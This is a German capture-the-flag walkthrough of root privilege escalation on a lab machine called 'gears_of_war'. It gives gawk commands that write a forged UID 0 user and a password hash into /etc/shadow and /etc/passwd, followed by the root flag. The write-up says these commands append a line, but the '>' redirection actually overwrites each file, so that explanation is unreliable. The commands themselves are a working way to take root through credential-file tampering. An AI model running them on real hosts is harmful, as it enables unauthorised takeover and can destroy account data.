marcus@gears_of_war:/tmp$ /usr/bin/gawk 'BEGIN {print "root2:$6$y1BDtWcx$l4vwafYdqxavgb5qNygrPmDLWeuAohT0AJXCPCRLCCqwgSKJ4PMSpUVx3jE5.XXgdRK/my4iullGgjGj.FZ69.:18186:0:99999:7:" > "/etc/shadow"}'

Hier wird der Hash in die /etc/shadow Datei geschrieben.

**Analyse:** Der Befehl fügt eine neue Zeile mit dem Benutzernamen "root2" und dem generierten Hash in die /etc/shadow Datei ein. Dies ermöglicht es, sich mit dem Passwort "root" als Benutzer "root2" anzumelden.

**Empfehlung:** Melden Sie sich als Benutzer "root2" an.

marcus@gears_of_war:/tmp$ /usr/bin/gawk 'BEGIN {print "root2:x:0:0:root:/root:/bin/bash" > "/etc/passwd"}'

Hier wird ein neuer Benutzer mit dem Namen root2 angelegt.

**Analyse:** Der Befehl fügt eine neue Zeile mit dem Benutzernamen "root2", der Benutzer-ID 0, der Gruppen-ID 0 und der Shell /bin/bash in die /etc/passwd Datei ein.

**Empfehlung:** Melden Sie sich als Benutzer "root2" an.

marcus@gears_of_war:/tmp$ su root2

Hier wird versucht, sich als Benutzer "root2" anzumelden.

**Analyse:** Es wird nach dem Passwort gefragt.

**Empfehlung:** Geben Sie das Passwort "root" ein.

Password: root
                 

Hier wird das Passwort "root" eingegeben.

**Analyse:** Das Passwort wird akzeptiert.

**Empfehlung:** Überprüfen Sie, ob Sie Root-Zugriff haben.

root@gears_of_war:/tmp# 
                    

Hier wird die neue Shell als root2 angezeigt.

**Analyse:** Der Prompt zeigt, dass wir nun als Benutzer "root2" angemeldet sind. Da die UID 0 ist, haben wir Root-Rechte.

**Empfehlung:** Suchen Sie nach der Root-Flag.

root@gears_of_war: ls -a
.  ..  .bash_history  .bashrc  .cache  .flag.txt  .gnupg  .local  .profile  .ssh
                       

Hier werden die Dateien im Home-Verzeichnis des Benutzers "root2" angezeigt.

**Analyse:** Das Verzeichnis enthält eine Datei namens .flag.txt.

**Empfehlung:** Zeigen Sie den Inhalt der Datei .flag.txt an.

root@gears_of_war: cat .flag.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      
Congratulation you got out of the jail and finish this Episode#1!
Please share and support me on twitter!
Twitter: @sir809

  Privilege Escalation erfolgreich
                       

Der Inhalt der Datei .flag.txt wird angezeigt.

**Analyse:** Die Datei enthält einen Glückwünschtext und den Hinweis, dass das Spiel beendet wurde, außerdem wird auf Twitter verwiesen. Es ist außerdem ein PrivEsc Hinweis

**Empfehlung:** Hinzufügen zum Bericht unter Root Flag und PrivEsc durchgängeig protokolieren.

Flags

cat root.txt
    
Congratulation you got out of the jail and finish this Episode#1! Please share and support me on twitter! Twitter: @sir809